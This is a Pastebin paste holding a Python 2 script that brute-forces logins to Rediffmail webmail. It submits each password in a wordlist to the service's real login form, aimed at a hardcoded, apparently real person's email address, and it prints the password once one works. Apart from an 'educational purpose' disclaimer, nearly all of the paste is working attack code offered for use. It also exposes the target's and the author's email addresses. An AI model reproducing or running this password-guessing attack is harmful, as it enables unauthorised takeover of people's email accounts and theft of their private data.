Advertisement
Guest User

Rediffmail Account Brute Script [ 13lackD3mon ]

a guest
Jun 18th, 2015
2,829
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.78 KB | None | 0 0
  1. import mechanize
  2. import cookielib
  3. import sys
  4.  
  5. email = "k.jaiswani@rediffmail.com";
  6. wordlist = "wordlist.txt";
  7. url = "https://mail.rediff.com/cgi-bin/login.cgi";
  8. print """
  9.  Dark Rediffmail Bruter Script.
  10.  Written By : Tanmay Upadhyay [ India ]
  11.  Email : kevinmetnik606@gmail.com
  12.  
  13.  [WARNING] Only for educational purpose dont use it for hacking purpose.
  14. \n
  15. """
  16. def _brute_():
  17.  
  18.  if(email == ""):
  19.     print "\n\t[Error] Sorry we cant able to find email to attack.";
  20.     sys.exit(1);
  21.  br = mechanize.Browser();
  22.  cj = cookielib.CookieJar();
  23.  br.set_cookiejar(cj);
  24.  br.set_handle_robots(False);
  25.  br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time = 1);
  26.  br.set_handle_referer(True);
  27.  f = open(wordlist,'r');
  28.  data = f.readlines();
  29.  data_len = len(data);
  30.  br.open(url);
  31.  print "[+] Wordlist contain max [ %s ] words."%data_len;
  32.  print "[!] Connected to Rediffmail server.";
  33.  print "[!] Starting attack against [ %s ]"%email
  34.  print "\n\tStarting a wordlist attack.....";
  35.  print "\n";
  36.  for pas in data:
  37.      pas = pas.replace("\n","");
  38.      br.select_form(name="loginform");
  39.      br.form['login'] = email;
  40.      br.form['passwd'] = pas;
  41.      br.submit();
  42.      if(br.geturl() == url):
  43.         data_len -= 1;
  44.         print "[%s] [error] password %s in not correct."%(data_len,pas);
  45.      else:
  46.         print "[%s] [success] correct password found."%data_len;
  47.         print "\n\tEmail => %s \n\tPassword => %s"%(email,pas);
  48.         print "\n"
  49.         br.close();
  50.         sys.exit(1);
  51. try:
  52.     _brute_();
  53. except KeyboardInterrupt:
  54.     print "\n\t[+] Operation Cancelled by Attacker [ Ctrl + C ] Pressed.";
  55.     sys.exit(1);
  56. except IOError:
  57.     print "\n\t[Error] Unable to locate or open wordlist file.";
  58.     print "\n";
  59.     sys.exit(1);
  60. except:
  61.     pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement